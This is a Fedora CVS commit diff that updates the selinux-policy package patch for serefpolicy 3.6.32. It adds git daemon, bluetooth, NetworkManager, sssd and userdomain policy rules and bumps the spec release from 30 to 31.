  network_port(gopher, tcp,70,s0, udp,70,s0)
  network_port(gpsd, tcp,2947,s0)
  network_port(hddtemp, tcp,7634,s0)
@@ -5479,7 +5687,7 @@ diff -b -B --ignore-all-space --exclude-
  network_port(i18n_input, tcp,9010,s0)
  network_port(imaze, tcp,5323,s0, udp,5323,s0)
  network_port(inetd_child, tcp,1,s0, udp,1,s0, tcp,7,s0, udp,7,s0, tcp,9,s0, udp,9,s0, tcp,13,s0, udp,13,s0, tcp,19,s0, udp,19,s0, tcp,37,s0, udp,37,s0, tcp,512,s0, tcp,543,s0, tcp,544,s0, tcp,891,s0, udp,891,s0, tcp,892,s0, udp,892,s0, tcp,2105,s0, tcp,5666,s0)
-@@ -129,7 +136,7 @@
+@@ -129,7 +137,7 @@
  network_port(ldap, tcp,389,s0, udp,389,s0, tcp,636,s0, udp,636,s0, tcp,3268,s0)
  network_port(lmtp, tcp,24,s0, udp,24,s0)
  type lrrd_port_t, port_type; dnl network_port(lrrd_port_t) # no defined portcon
@@ -5488,7 +5696,7 @@ diff -b -B --ignore-all-space --exclude-
  network_port(memcache, tcp,11211,s0, udp,11211,s0)
  network_port(mmcc, tcp,5050,s0, udp,5050,s0)
  network_port(monopd, tcp,1234,s0)
-@@ -147,6 +154,12 @@
+@@ -147,12 +155,19 @@
  network_port(pegasus_https, tcp,5989,s0)
  network_port(pgpkeyserver, udp, 11371,s0, tcp,11371,s0)
  network_port(pingd, tcp,9125,s0)
@@ -5501,7 +5709,14 @@ diff -b -B --ignore-all-space --exclude-
  network_port(pop, tcp,106,s0, tcp,109,s0, tcp,110,s0, tcp,143,s0, tcp,220,s0, tcp,993,s0, tcp,995,s0, tcp,1109,s0)
  network_port(portmap, udp,111,s0, tcp,111,s0)
  network_port(postfix_policyd, tcp,10031,s0)
-@@ -173,27 +186,34 @@
+ network_port(postgresql, tcp,5432,s0)
+ network_port(postgrey, tcp,60000,s0)
+ network_port(prelude, tcp,4690,s0, udp,4690,s0)
++network_port(presence, tcp,5298,s0, udp,5298,s0)
+ network_port(printer, tcp,515,s0)
+ network_port(ptal, tcp,5703,s0)
+ network_port(pulseaudio, tcp,4713,s0)
+@@ -173,27 +188,34 @@
  network_port(sap, tcp,9875,s0, udp,9875,s0)
  network_port(smbd, tcp,137-139,s0, tcp,445,s0)
  network_port(smtp, tcp,25,s0, tcp,465,s0, tcp,587,s0)
@@ -5539,7 +5754,7 @@ diff -b -B --ignore-all-space --exclude-
  network_port(xdmcp, udp,177,s0, tcp,177,s0)
  network_port(xen, tcp,8002,s0)
  network_port(xfs, tcp,7100,s0)
-@@ -222,6 +242,8 @@
+@@ -222,6 +244,8 @@
  type node_t, node_type;
  sid node gen_context(system_u:object_r:node_t,s0 - mls_systemhigh)
  
@@ -9137,7 +9352,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/roles/xguest.te serefpolicy-3.6.32/policy/modules/roles/xguest.te
 --- nsaserefpolicy/policy/modules/roles/xguest.te	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/roles/xguest.te	2009-10-08 15:30:50.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/roles/xguest.te	2009-10-21 11:43:32.000000000 -0400
 @@ -31,16 +31,37 @@
  
  userdom_restricted_xwindows_user_template(xguest)
@@ -9197,7 +9412,7 @@ diff -b -B --ignore-all-space --exclude-
  ')
  
  optional_policy(`
-@@ -75,9 +101,15 @@
+@@ -75,9 +101,16 @@
  ')
  
  optional_policy(`
@@ -9207,6 +9422,7 @@ diff -b -B --ignore-all-space --exclude-
 +optional_policy(`
  	tunable_policy(`xguest_connect_network',`
  		networkmanager_dbus_chat(xguest_t)
++		networkmanager_read_var_lib_files(xguest_t)
 +		corenet_tcp_connect_pulseaudio_port(xguest_t)
 +		corenet_tcp_connect_ipp_port(xguest_t)
  	')
@@ -9278,7 +9494,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	All of the rules required to administrate 
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/abrt.te serefpolicy-3.6.32/policy/modules/services/abrt.te
 --- nsaserefpolicy/policy/modules/services/abrt.te	2009-09-16 09:09:20.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/abrt.te	2009-10-19 14:55:25.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/abrt.te	2009-10-21 10:05:17.000000000 -0400
 @@ -75,6 +75,7 @@
  
  corecmd_exec_bin(abrt_t)
@@ -9364,7 +9580,7 @@ diff -b -B --ignore-all-space --exclude-
 +/var/run/cman_.*                       -s      gen_context(system_u:object_r:aisexec_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/aisexec.if serefpolicy-3.6.32/policy/modules/services/aisexec.if
 --- nsaserefpolicy/policy/modules/services/aisexec.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/aisexec.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/aisexec.if	2009-10-21 07:51:25.000000000 -0400
 @@ -0,0 +1,106 @@
 +## <summary>SELinux policy for Aisexec Cluster Engine</summary>
 +
@@ -9700,7 +9916,7 @@ diff -b -B --ignore-all-space --exclude-
 +/var/www/svn/conf(/.*)?			gen_context(system_u:object_r:httpd_sys_content_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/apache.if serefpolicy-3.6.32/policy/modules/services/apache.if
 --- nsaserefpolicy/policy/modules/services/apache.if	2009-07-28 15:51:13.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/apache.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/apache.if	2009-10-21 11:09:04.000000000 -0400
 @@ -13,21 +13,16 @@
  #
  template(`apache_content_template',`
@@ -11190,6 +11406,37 @@ diff -b -B --ignore-all-space --exclude-
  ##	All of the rules required to administrate 
  ##	an bind environment
  ## </summary>
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/bluetooth.if serefpolicy-3.6.32/policy/modules/services/bluetooth.if
+--- nsaserefpolicy/policy/modules/services/bluetooth.if	2009-07-14 14:19:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/bluetooth.if	2009-10-21 07:54:27.000000000 -0400
+@@ -153,6 +153,27 @@
+ 	dontaudit $1 bluetooth_helper_t:file { read getattr };
+ ')
+ 
++#####################################
++## <summary>
++##      Connect to bluetooth over a unix domain
++##      stream socket.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      Domain allowed access.
++##      </summary>
++## </param>
++#
++interface(`bluetooth_stream_connect',`
++        gen_require(`
++                type bluetooth_t, bluetooth_var_run_t;
++        ')
++
++        files_search_pids($1)
++	allow $1 bluetooth_t:socket rw_socket_perms;	
++        stream_connect_pattern($1, bluetooth_var_run_t, bluetooth_var_run_t, bluetooth_t)
++')
++
+ ########################################
+ ## <summary>
+ ##	All of the rules required to administrate 
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/bluetooth.te serefpolicy-3.6.32/policy/modules/services/bluetooth.te
 --- nsaserefpolicy/policy/modules/services/bluetooth.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/bluetooth.te	2009-09-30 16:12:48.000000000 -0400
@@ -13573,6 +13820,488 @@ diff -b -B --ignore-all-space --exclude-
  	seutil_sigchld_newrole(ftpd_t)
  ')
  
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/git.fc serefpolicy-3.6.32/policy/modules/services/git.fc
+--- nsaserefpolicy/policy/modules/services/git.fc	2009-07-14 14:19:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/git.fc	2009-10-21 11:39:52.000000000 -0400
+@@ -1,3 +1,9 @@
+ /var/cache/cgit(/.*)?		gen_context(system_u:object_r:httpd_git_script_rw_t,s0)
+-/var/lib/git(/.*)?		gen_context(system_u:object_r:httpd_git_content_t,s0)
+ /var/www/cgi-bin/cgit	--	gen_context(system_u:object_r:httpd_git_script_exec_t,s0)
++
++/srv/git(/.*)?					gen_context(system_u:object_r:git_data_t, s0)
++
++/usr/libexec/git-core/git-daemon	--	gen_context(system_u:object_r:gitd_exec_t, s0)
++
++# Conflict with Fedora cgit fc spec.
++/var/lib/git(/.*)?				gen_context(system_u:object_r:git_data_t, s0)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/git.if serefpolicy-3.6.32/policy/modules/services/git.if
+--- nsaserefpolicy/policy/modules/services/git.if	2009-07-14 14:19:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/git.if	2009-10-21 11:33:38.000000000 -0400
+@@ -1 +1,285 @@
+-## <summary>GIT revision control system</summary>
++## <summary>Git daemon is a really simple server for Git repositories.</summary>
++## <desc>
++##	<p>
++##		A really simple TCP git daemon that normally listens on
++##		port DEFAULT_GIT_PORT aka 9418. It waits for a
++##		connection asking for a service, and will serve that
++##		service if it is enabled.
++##	</p>
++##	<p>
++##		It verifies that the directory has the magic file
++##		git-daemon-export-ok, and it will refuse to export any
++##		git directory that has not explicitly been marked for
++##		export this way (unless the --export-all parameter is
++##		specified). If you pass some directory paths as
++##		git-daemon arguments, you can further restrict the
++##		offers to a whitelist comprising of those.
++##	</p>
++##	<p>
++##		By default, only upload-pack service is enabled, which
++##		serves git-fetch-pack and git-ls-remote clients, which
++##		are invoked from git-fetch, git-pull, and git-clone.
++##	</p>
++##	<p>
++##		This is ideally suited for read-only updates, i.e.,
++##		pulling from git repositories.
++##	</p>
++##	<p>
++##		An upload-archive also exists to serve git-archive.
++##	</p>
++## </desc>
++
++#######################################
++## <summary>
++##	Role access for Git daemon session.
++## </summary>
++## <param name="role">
++##	<summary>
++##	Role allowed access.
++##	</summary>
++## </param>
++## <param name="domain">
++##	<summary>
++##	User domain for the role.
++##	</summary>
++## </param>
++#
++interface(`git_session_role', `
++	gen_require(`
++		type gitd_session_t, gitd_exec_t, git_home_t;
++	')
++
++	########################################
++	#
++	# Git daemon session data declarations.
++	#
++
++	## <desc>
++	## <p>
++	## Allow transitions to the Git daemon
++	## session domain.
++	## </p>
++	## </desc>
++	gen_tunable(gitd_session_transition, false)
++
++	role $1 types gitd_session_t;
++
++	########################################
++	#
++	# Git daemon session data policy.
++	#
++
++	tunable_policy(`gitd_session_transition', `
++		domtrans_pattern($2, gitd_exec_t, gitd_session_t)
++	', `
++		can_exec($2, gitd_exec_t)
++	')
++
++	allow $2 gitd_session_t:process { ptrace signal_perms };
++	ps_process_pattern($2, gitd_session_t)
++
++	exec_files_pattern($2, git_home_t, git_home_t)
++	manage_dirs_pattern($2, git_home_t, git_home_t)
++	manage_files_pattern($2, git_home_t, git_home_t)
++
++	relabel_dirs_pattern($2, git_home_t, git_home_t)
++	relabel_files_pattern($2, git_home_t, git_home_t)
++')
++
++########################################
++## <summary>
++##	Allow the specified domain to execute
++##	Git daemon data files.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++## <rolecap/>
++#
++interface(`git_execute_data_files', `
++	gen_require(`
++		type git_data_t;
++	')
++
++	exec_files_pattern($1, git_data_t, git_data_t)
++	files_search_var($1)
++')
++
++########################################
++## <summary>
++##	Allow the specified domain to manage
++##	Git daemon data content.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++## <rolecap/>
++#
++interface(`git_manage_data_content', `
++	gen_require(`
++		type git_data_t;
++	')
++
++	manage_dirs_pattern($1, git_data_t, git_data_t)
++	manage_files_pattern($1, git_data_t, git_data_t)
++	files_search_var($1)
++')
++
++########################################
++## <summary>
++##	Allow the specified domain to manage
++##	Git daemon home content.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++## <rolecap/>
++#
++interface(`git_manage_home_content', `
++	gen_require(`
++		type git_home_t;
++	')
++
++	manage_dirs_pattern($1, git_home_t, git_home_t)
++	manage_files_pattern($1, git_home_t, git_home_t)
++	files_search_home($1)
++')
++
++########################################
++## <summary>
++##	Allow the specified domain to read
++##	Git daemon home content.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++## <rolecap/>
++#
++interface(`git_read_home_content', `
++	gen_require(`
++		type git_home_t;
++	')
++
++	list_dirs_pattern($1, git_home_t, git_home_t)
++	read_files_pattern($1, git_home_t, git_home_t)
++	files_search_home($1)
++')
++
++########################################
++## <summary>
++##	Allow the specified domain to read
++##	Git daemon data content.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++## <rolecap/>
++#
++interface(`git_read_data_content', `
++	gen_require(`
++		type git_data_t;
++	')
++
++	list_dirs_pattern($1, git_data_t, git_data_t)
++	read_files_pattern($1, git_data_t, git_data_t)
++	files_search_var($1)
++')
++
++########################################
++## <summary>
++##	Allow the specified domain to relabel
++##	Git daemon data content.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++## <rolecap/>
++#
++interface(`git_relabel_data_content', `
++	gen_require(`
++		type git_data_t;
++	')
++
++	relabel_dirs_pattern($1, git_data_t, git_data_t)
++	relabel_files_pattern($1, git_data_t, git_data_t)
++	files_search_var($1)
++')
++
++########################################
++## <summary>
++##	Allow the specified domain to relabel
++##	Git daemon home content.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++## <rolecap/>
++#
++interface(`git_relabel_home_content', `
++	gen_require(`
++		type git_home_t;
++	')
++
++	relabel_dirs_pattern($1, git_home_t, git_home_t)
++	relabel_files_pattern($1, git_home_t, git_home_t)
++	files_search_home($1)
++')
++
++########################################
++## <summary>
++##	All of the rules required to administrate an
++##	Git daemon system environment
++## </summary>
++## <param name="userdomain_prefix">
++##	<summary>
++##	Prefix of the domain. Example, user would be
++##	the prefix for the user_t domain.
++##	</summary>
++## </param>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++## <param name="role">
++##	<summary>
++##	The role to be allowed to manage the Git daemon domain.
++##	</summary>
++## </param>
++## <rolecap/>
++#
++interface(`git_system_admin', `
++	gen_require(`
++		type gitd_t, gitd_exec_t;
++	')
++
++	allow $1 gitd_t:process { getattr ptrace signal_perms };
++	ps_process_pattern($1, gitd_t)
++
++	kernel_search_proc($1)
++
++	manage_files_pattern($1, gitd_exec_t, gitd_exec_t)
++
++	# This will not work since git-shell needs to execute gitd content thus public content files.
++	# There is currently no clean way to execute public content files.
++	# miscfiles_manage_public_files($1)
++
++	git_manage_data_content($1)
++	git_relabel_data_content($1)
++
++	seutil_domtrans_setfiles($1)
++')
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/git.te serefpolicy-3.6.32/policy/modules/services/git.te
+--- nsaserefpolicy/policy/modules/services/git.te	2009-07-14 14:19:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/git.te	2009-10-21 11:39:13.000000000 -0400
+@@ -1,9 +1,173 @@
+ 
+ policy_module(git, 1.0)
+ 
++attribute gitd_type;
++attribute git_content_type;
++
++########################################
++#
++# Git daemon system private declarations.
++#
++
++## <desc>
++## <p>
++## Allow Git daemon system to search home directories.
++## </p>
++## </desc>
++gen_tunable(git_system_enable_homedirs, false)
++
++## <desc>
++## <p>
++## Allow Git daemon system to access cifs file systems.
++## </p>
++## </desc>
++gen_tunable(git_system_use_cifs, false)
++
++## <desc>
++## <p>
++## Allow Git daemon system to access nfs file systems.
++## </p>
++## </desc>
++gen_tunable(git_system_use_nfs, false)
++
++########################################
++#
++# Git daemon global private declarations.
++#
++type gitd_exec_t;
++
++type gitd_t, gitd_type;
++inetd_service_domain(gitd_t, gitd_exec_t)
++role system_r types gitd_t;
++
++type git_data_t, git_content_type;
++files_type(git_data_t)
++
++permissive gitd_t;
++
++########################################
++#
++# Git daemon session session private declarations.
++#
++
++## <desc>
++## <p>
++## Allow Git daemon session to bind
++## tcp sockets to all unreserved ports.
++## </p>
++## </desc>
++gen_tunable(git_session_bind_all_unreserved_ports, false)
++
++type gitd_session_t, gitd_type;
++application_domain(gitd_session_t, gitd_exec_t)
++ubac_constrained(gitd_session_t)
++
++type git_home_t, git_content_type;
++userdom_user_home_content(git_home_t)
++
++permissive gitd_session_t;
++
++########################################
++#
++# Git daemon global private policy.
++#
++
++allow gitd_type self:fifo_file rw_fifo_file_perms;
++allow gitd_type self:tcp_socket create_socket_perms;
++allow gitd_type self:udp_socket create_socket_perms;
++allow gitd_type self:unix_dgram_socket create_socket_perms;
++
++corenet_all_recvfrom_netlabel(gitd_type)
++corenet_all_recvfrom_unlabeled(gitd_type)
++
++corenet_tcp_sendrecv_all_if(gitd_type)
++corenet_tcp_sendrecv_all_nodes(gitd_type)
++corenet_tcp_sendrecv_all_ports(gitd_type)
++
++corenet_tcp_bind_all_nodes(gitd_type)
++corenet_tcp_bind_git_port(gitd_type)
++
++corecmd_exec_bin(gitd_type)
++
++files_read_etc_files(gitd_type)
++files_read_usr_files(gitd_type)
++
++fs_search_auto_mountpoints(gitd_type)
++
++kernel_read_system_state(gitd_type)
++
++logging_send_syslog_msg(gitd_type)
++
++auth_use_nsswitch(gitd_type)
++
++miscfiles_read_localization(gitd_type)
++
++########################################
++#
++# Git daemon system repository private policy.
++#
++
++list_dirs_pattern(gitd_t, git_content_type, git_content_type)
++read_files_pattern(gitd_t, git_content_type, git_content_type)
++files_search_var(gitd_t)
++
++# This will not work since git-shell needs to execute gitd content thus public content files.
++# There is currently no clean way to execute public content files.
++# miscfiles_read_public_files(gitd_t)
++
++tunable_policy(`git_system_enable_homedirs', `
++	userdom_search_user_home_dirs(gitd_t)
++')
++
++tunable_policy(`git_system_enable_homedirs && use_nfs_home_dirs', `
++	fs_list_nfs(gitd_t)
++	fs_read_nfs_files(gitd_t)
++')
++
++tunable_policy(`git_system_enable_homedirs && use_samba_home_dirs', `
++	fs_list_cifs(gitd_t)
++	fs_read_cifs_files(gitd_t)
++')
++
++tunable_policy(`git_system_use_cifs', `
++	fs_list_cifs(gitd_t)
++	fs_read_cifs_files(gitd_t)
++')
++
++tunable_policy(`git_system_use_nfs', `
++	fs_list_nfs(gitd_t)
++	fs_read_nfs_files(gitd_t)
++')
++
++########################################
++#
++# Git daemon session repository private policy.
++#
++
++list_dirs_pattern(gitd_session_t, git_home_t, git_home_t)
++read_files_pattern(gitd_session_t, git_home_t, git_home_t)
++userdom_search_user_home_dirs(gitd_session_t)
++
++userdom_use_user_terminals(gitd_session_t)
++
++tunable_policy(`git_session_bind_all_unreserved_ports', `
++	corenet_tcp_bind_all_unreserved_ports(gitd_session_t)
++')
++
++tunable_policy(`use_nfs_home_dirs', `
++	fs_list_nfs(gitd_session_t)
++	fs_read_nfs_files(gitd_session_t)
++')
++
++tunable_policy(`use_samba_home_dirs', `
++	fs_list_cifs(gitd_session_t)
++	fs_read_cifs_files(gitd_session_t)
++')
++
+ ########################################
+ #
+-# Declarations
++# cgi git Declarations
+ #
+ 
+ apache_content_template(git)
++git_read_data_content(httpd_git_script_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/gpm.te serefpolicy-3.6.32/policy/modules/services/gpm.te
 --- nsaserefpolicy/policy/modules/services/gpm.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/gpm.te	2009-09-30 16:12:48.000000000 -0400
@@ -13896,8 +14625,17 @@ diff -b -B --ignore-all-space --exclude-
 +/var/run/(x)?inetd\.pid	--	gen_context(system_u:object_r:inetd_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/inetd.te serefpolicy-3.6.32/policy/modules/services/inetd.te
 --- nsaserefpolicy/policy/modules/services/inetd.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/inetd.te	2009-09-30 16:12:48.000000000 -0400
-@@ -138,6 +138,8 @@
++++ serefpolicy-3.6.32/policy/modules/services/inetd.te	2009-10-21 11:02:27.000000000 -0400
+@@ -104,6 +104,8 @@
+ corenet_tcp_bind_telnetd_port(inetd_t)
+ corenet_udp_bind_tftp_port(inetd_t)
+ corenet_tcp_bind_ssh_port(inetd_t)
++corenet_tcp_bind_git_port(inetd_t)
++corenet_udp_bind_git_port(inetd_t)
+ 
+ # service port packets:
+ corenet_sendrecv_amanda_server_packets(inetd_t)
+@@ -138,6 +140,8 @@
  files_read_etc_files(inetd_t)
  files_read_etc_runtime_files(inetd_t)
  
@@ -14544,7 +15282,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/networkmanager.if serefpolicy-3.6.32/policy/modules/services/networkmanager.if
 --- nsaserefpolicy/policy/modules/services/networkmanager.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/networkmanager.if	2009-10-02 08:40:53.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/networkmanager.if	2009-10-21 10:29:42.000000000 -0400
 @@ -118,6 +118,24 @@
  
  ########################################
@@ -14570,7 +15308,7 @@ diff -b -B --ignore-all-space --exclude-
  ##	Read NetworkManager PID files.
  ## </summary>
  ## <param name="domain">
-@@ -134,3 +152,49 @@
+@@ -134,3 +152,50 @@
  	files_search_pids($1)
  	allow $1 NetworkManager_var_run_t:file read_file_perms;
  ')
@@ -14591,6 +15329,7 @@ diff -b -B --ignore-all-space --exclude-
 +	')
 +
 +	files_search_var_lib($1)
++	list_dirs_pattern($1, NetworkManager_var_lib_t, NetworkManager_var_lib_t)
 +	read_files_pattern($1, NetworkManager_var_lib_t, NetworkManager_var_lib_t)
 +')
 +
@@ -17002,12 +17741,13 @@ diff -b -B --ignore-all-space --exclude-
 +userdom_user_home_dir_filetrans_user_home_content(postfix_virtual_t, {file dir })
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/postgresql.fc serefpolicy-3.6.32/policy/modules/services/postgresql.fc
 --- nsaserefpolicy/policy/modules/services/postgresql.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/postgresql.fc	2009-09-30 16:12:48.000000000 -0400
-@@ -2,6 +2,7 @@
++++ serefpolicy-3.6.32/policy/modules/services/postgresql.fc	2009-10-21 11:42:45.000000000 -0400
+@@ -2,6 +2,8 @@
  # /etc
  #
  /etc/postgresql(/.*)?			gen_context(system_u:object_r:postgresql_etc_t,s0)
 +/etc/rc\.d/init\.d/postgresql	--	gen_context(system_u:object_r:postgresql_initrc_exec_t,s0)
++/etc/sysconfig/pgsql(/.*)? 		gen_context(system_u:object_r:postgresql_etc_t,s0)
  
  #
  # /usr
@@ -21049,13 +21789,18 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/sssd.fc serefpolicy-3.6.32/policy/modules/services/sssd.fc
 --- nsaserefpolicy/policy/modules/services/sssd.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/sssd.fc	2009-09-30 16:12:48.000000000 -0400
-@@ -1,4 +1,4 @@
++++ serefpolicy-3.6.32/policy/modules/services/sssd.fc	2009-10-21 10:05:54.000000000 -0400
+@@ -1,6 +1,9 @@
 -/etc/rc.d/init.d/sssd	--	gen_context(system_u:object_r:sssd_initrc_exec_t,s0)
 +/etc/rc\.d/init\.d/sssd	--	gen_context(system_u:object_r:sssd_initrc_exec_t,s0)
  
  /usr/sbin/sssd		--	gen_context(system_u:object_r:sssd_exec_t,s0)
  
+ /var/lib/sss(/.*)?		gen_context(system_u:object_r:sssd_var_lib_t,s0)
++
++/var/log/sssd(/.*)?		gen_context(system_u:object_r:sssd_var_lib_t,s0)
++
+ /var/run/sssd.pid	--	gen_context(system_u:object_r:sssd_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/sssd.if serefpolicy-3.6.32/policy/modules/services/sssd.if
 --- nsaserefpolicy/policy/modules/services/sssd.if	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/sssd.if	2009-09-30 16:12:48.000000000 -0400
@@ -21123,8 +21868,18 @@ diff -b -B --ignore-all-space --exclude-
  ## </summary>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/sssd.te serefpolicy-3.6.32/policy/modules/services/sssd.te
 --- nsaserefpolicy/policy/modules/services/sssd.te	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/sssd.te	2009-09-30 16:12:48.000000000 -0400
-@@ -23,7 +23,7 @@
++++ serefpolicy-3.6.32/policy/modules/services/sssd.te	2009-10-21 10:05:38.000000000 -0400
+@@ -16,6 +16,9 @@
+ type sssd_var_lib_t;
+ files_type(sssd_var_lib_t)
+ 
++type sssd_var_log_t;
++logging_log_file(sssd_var_log_t)
++
+ type sssd_var_run_t;
+ files_pid_file(sssd_var_run_t)
+ 
+@@ -23,7 +26,7 @@
  #
  # sssd local policy
  #
@@ -21133,7 +21888,14 @@ diff -b -B --ignore-all-space --exclude-
  allow sssd_t self:process { setsched signal getsched };
  allow sssd_t self:fifo_file rw_file_perms;
  allow sssd_t self:unix_stream_socket { create_stream_socket_perms connectto };
-@@ -37,6 +37,8 @@
+@@ -33,10 +36,15 @@
+ manage_sock_files_pattern(sssd_t, sssd_var_lib_t, sssd_var_lib_t)
+ files_var_lib_filetrans(sssd_t, sssd_var_lib_t, { file dir } )
+ 
++manage_files_pattern(sssd_t, sssd_var_log_t, sssd_var_log_t)
++logging_log_filetrans(sssd_t, sssd_var_log_t, file)
++
+ manage_dirs_pattern(sssd_t, sssd_var_run_t, sssd_var_run_t)
  manage_files_pattern(sssd_t, sssd_var_run_t, sssd_var_run_t)
  files_pid_filetrans(sssd_t, sssd_var_run_t, { file dir })
  
@@ -21142,7 +21904,7 @@ diff -b -B --ignore-all-space --exclude-
  kernel_read_system_state(sssd_t)
  
  corecmd_exec_bin(sssd_t)
-@@ -58,6 +60,8 @@
+@@ -58,6 +66,8 @@
  
  miscfiles_read_localization(sssd_t)
  
@@ -28732,7 +29494,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-20 14:59:26.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-21 10:57:55.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  
@@ -29456,7 +30218,7 @@ diff -b -B --ignore-all-space --exclude-
  
  	optional_policy(`
 -		samba_stream_connect_winbind($1_t)
-+		sandbox_transition($1_t, $1_r)
++		sandbox_transition($1_usertype, $1_r)
  	')
  
  	optional_policy(`
@@ -29770,6 +30532,7 @@ diff -b -B --ignore-all-space --exclude-
 +#	corenet_dontaudit_tcp_bind_all_reserved_ports($1_t)
  	# Need the following rule to allow users to run vpnc
  	corenet_tcp_bind_xserver_port($1_t)
++	corenet_tcp_bind_all_nodes($1_usertype)
  
 -	files_exec_usr_files($1_t)
 -	# cjp: why?
@@ -29782,7 +30545,6 @@ diff -b -B --ignore-all-space --exclude-
 +	# the same domain and outside users) disabling this forces FTP passive mode
 +	# and may change other protocols
 +	tunable_policy(`user_tcp_server',`
-+		corenet_tcp_bind_all_nodes($1_usertype)
 +		corenet_tcp_bind_all_unreserved_ports($1_usertype)
 +	')
  
@@ -30242,7 +31004,7 @@ diff -b -B --ignore-all-space --exclude-
  	kernel_search_proc($1)
  ')
  
-@@ -3064,3 +3253,559 @@
+@@ -3064,3 +3253,578 @@
  
  	allow $1 userdomain:dbus send_msg;
  ')
@@ -30508,6 +31270,25 @@ diff -b -B --ignore-all-space --exclude-
 +	allow $1 unpriv_userdomain:unix_dgram_socket sendto;
 +')
 +
++######################################
++## <summary>
++##      Send a message to users over a unix domain
++##      datagram socket.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      Domain allowed access.
++##      </summary>
++## </param>
++#
++interface(`userdom_users_dgram_send',`
++        gen_require(`
++                 attribute userdomain;
++      ')
++
++       allow $1 userdomain:unix_dgram_socket sendto;
++')
++
 +#######################################
 +## <summary>
 +##	Allow execmod on files in homedirectory 


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.947
retrieving revision 1.948
diff -u -p -r1.947 -r1.948
--- selinux-policy.spec	20 Oct 2009 22:59:51 -0000	1.947
+++ selinux-policy.spec	21 Oct 2009 15:55:49 -0000	1.948
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 30%{?dist}
+Release: 31%{?dist}
 License: GPLv2+
 Group: System Environment/Base
